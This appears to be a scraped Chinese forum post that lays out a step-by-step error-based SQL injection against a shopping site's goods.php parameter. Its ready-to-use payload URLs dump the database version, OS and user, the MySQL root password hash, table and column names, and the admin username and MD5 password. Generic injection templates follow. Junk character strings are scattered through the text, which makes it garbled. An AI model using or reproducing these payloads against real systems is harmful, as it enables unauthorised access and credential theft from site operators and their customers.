判断版本号
: y4 l% s+ }3 O& x6 r" ghttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
6 G; f% _0 a' F* Q* |. } c9 B3 y. F/ {3 @' i: w
判断系统
, |$ P: z7 z' o5 ^. Z7 |( D0 p$ S' j1 C Y
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%239 \ }+ X" B+ o# R
+ y6 n" ]+ J7 K7 Q% E2 K' T
3 r& y: j# I9 y% n
* [$ M7 w; a9 l; H当前 user()
, R% Q) x5 d; y9 t( {
, i8 w% e: ]& v( _' m- g$ Ahttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
7 ^ B- j2 m& Q- k
1 {' f* L. j" ~5 B5 C( s% g' n' q
1 `1 j# l6 m3 b' [
0 }( @& B% ^8 } P$ f当前 database()
! j! J& e G/ u$ H; ]1 lhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
8 A$ @6 E; }. [9 Y4 r- E2 u# k y+ D
! ^- V& Y- q) p! [
; E6 m$ i6 p4 v5 x+ O: J/ a8 Q
: J m6 t& r1 }4 |7 r6 |+ k0 L, zroot hash
/ W7 r' L" o' v9 ~. V8 Y% F& A2 [# V; k- \! ~6 C/ U( O
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
; Y6 Z, a4 l, F3 W
( n* H- U" s9 \% q1 _/ I
6 d- }7 L& m# P) {3 P% U8 }7 s m# \& O
当前 数据库表名# ]; e0 V! y* x& i7 e
5 b. y: h3 u5 ~2 }
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23, j0 O- \- O* P4 q& t
& }& g5 n+ H X _, T; P" s5 U2 F3 u1 g$ m7 }, j% v$ Y
6 @, L$ ^- m! s" O% t; b0 X当前 数据库 user_name 字段, c7 a& z1 O& G Q: @ V
1 O. H7 A9 x* i; V! ~4 l
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
! C7 q+ C( D4 L2 C N3 O3 K# A4 C& ]
当前 数据库 字段 password
" E# p Y- K& `6 i7 ^5 c) Khttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
. j3 C% U* R9 M% j# ?8 `! `& R/ r& m! ~ a
! C. D, P- H) F7 ? y8 {, I
, E, D/ w" _- f. Y; M' ?/ y G' d
获得 admin passwd(md5)) O( } |3 l6 W" o" F
3 ^# ^+ V6 ` h! O5 T0 J
. g5 a1 M( a, `" V4 W1 D, lhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
$ { g! g. b h, E5 V2 [+ F, w& y1 X
5 ?2 V: g2 _0 W ^. d; n报错注射
( t0 n2 H6 w* ]/ b/ B4 A( a( FSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
; R- @: S, V* [3 o6 W m# s" r* i. B6 p5 U5 Q x) Z' Q s; o
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)/ B5 p! K: ^& l! M/ ?% H9 O
- z( v3 U* w" @% `' g( ^* @0 m, vand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |